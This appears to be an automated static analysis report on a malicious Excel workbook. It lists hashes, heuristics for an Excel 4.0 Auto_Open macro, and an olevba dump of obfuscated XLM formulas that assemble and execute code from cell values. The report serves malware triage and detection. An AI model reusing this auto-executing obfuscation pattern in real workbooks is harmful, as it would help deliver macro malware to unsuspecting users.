Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 67baf1a707e9e0c2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:06 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 97fc3bf03d195d106115bd2e905c8549 SHA-1: 95a5932576ba3395e56ef38198bf225b18e4a419 SHA-256: 67baf1a707e9e0c25a847bb45e4629bbd1c273511b2212970d1de3bc58d2c100
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6680 bytes
SHA-256: 2c8b16a2909930cd92a90c9960a0ac13c635aaa5ec464bf2c42420bbaa375d4e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  bdGhnqXtfg
' 0018     20 LABEL : Cell Value, String Constant - ASFSu len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B157 
' 0018     26 LABEL : Cell Value, String Constant - AytjkNnadKA len=0 
' 0018     20 LABEL : Cell Value, String Constant - bGKTC len=0 
' 0018     24 LABEL : Cell Value, String Constant - BQGTZWHHm len=0 
' 0018     23 LABEL : Cell Value, String Constant - DsqIMyip len=0 
' 0018     21 LABEL : Cell Value, String Constant - IoPcSl len=0 
' 0018     20 LABEL : Cell Value, String Constant - IQUjm len=0 
' 0018     26 LABEL : Cell Value, String Constant - kvjwkSaathh len=0 
' 0018     26 LABEL : Cell Value, String Constant - LfSmItqXxDb len=0 
' 0018     26 LABEL : Cell Value, String Constant - MahngkjhMkx len=0 
' 0018     22 LABEL : Cell Value, String Constant - mGwrVhV len=0 
' 0018     21 LABEL : Cell Value, String Constant - NYwtiP len=0 
' 0018     26 LABEL : Cell Value, String Constant - OIrQNhupWaq len=0 
' 0018     22 LABEL : Cell Value, String Constant - pAeOEhh len=0 
' 0018     25 LABEL : Cell Value, String Constant - QIQirfTMav len=0 
' 0018     23 LABEL : Cell Value, String Constant - tsoHEQkx len=0 
' 0018     21 LABEL : Cell Value, String Constant - vUMGBW len=0 
' 0018     27 LABEL : Cell Value, String Constant - wpAkbRXlTrPD len=0 
' 0018     27 LABEL : Cell Value, String Constant - xlWvsiJxkRgK len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZDCCEjAm len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  bdGhnqXtfg,B66,"SET.NAME("OIrQNhupWaq",VALUE("0"))",""
'  bdGhnqXtfg,B69,"SET.NAME("MahngkjhMkx",OIrQNhupWaq)",""
'  bdGhnqXtfg,B72,"SET.NAME("NYwtiP",OIrQNhupWaq)",""
'  bdGhnqXtfg,B75,"SET.NAME("IoPcSl",COUNTA(ASFSu))",""
'  bdGhnqXtfg,B79,"SET.NAME("tsoHEQkx",COUNTA(QIQirfTMav))",""
'  bdGhnqXtfg,B84,[],""
'  bdGhnqXtfg,B87,"SET.NAME("kvjwkSaathh","")",""
'  bdGhnqXtfg,B92,"MahngkjhMkx",""
'  bdGhnqXtfg,B97,"SET.NAME("BQGTZWHHm",HLOOKUP("*",ASFSu,MahngkjhMkx,FALSE))",""
'  bdGhnqXtfg,B102,"AytjkNnadKA",""
'  bdGhnqXtfg,B104,"SET.NAME("wpAkbRXlTrPD",OIrQNhupWaq)",""
'  bdGhnqXtfg,B109,[],""
'  bdGhnqXtfg,B111,"wpAkbRXlTrPD",""
'  bdGhnqXtfg,B113,"pAeOEhh",""
'  bdGhnqXtfg,B117,"IQUjm",""
'  bdGhnqXtfg,B119,"xlWvsiJxkRgK",""
'  bdGhnqXtfg,B123,"SET.NAME("LfSmItqXxDb",VALUE(HLOOKUP("*",QIQirfTMav,xlWvsiJxkRgK,FALSE)))",""
'  bdGhnqXtfg,B128,"bGKTC",""
'  bdGhnqXtfg,B130,"kvjwkSaathh",""
'  bdGhnqXtfg,B132,"NYwtiP",""
'  bdGhnqXtfg,B135,NEXT(),""
'  bdGhnqXtfg,B140,"mGwrVhV",""
'  bdGhnqXtfg,B144,"SET.NAME("f",INT(T(FORMULA(T(kvjwkSaathh)&"",""&T(mGwrVhV)))))",""
'  bdGhnqXtfg,B146,"ZDCCEjAm",""
'  bdGhnqXtfg,B150,NEXT(),""
'  bdGhnqXtfg,B154,RETURN(),""
'  bdGhnqXtfg,B178,"SET.NAME("vUMGBW",B66)",""
'  bdGhnqXtfg,B180,"ASFSu",""
'  bdGhnqXtfg,B185,"SET.NAME("QIQirfTMav",R64C15)",""
'  bdGhnqXtfg,B189,"SET.NAME("ZDCCEjAm",196)",""
'  bdGhnqXtfg,B193,"SET.NAME("DsqIMyip",2)",""
'  bdGhnqXtfg,B195,vUMGBW(),""
'  bdGhnqXtfg,B196,HALT(),""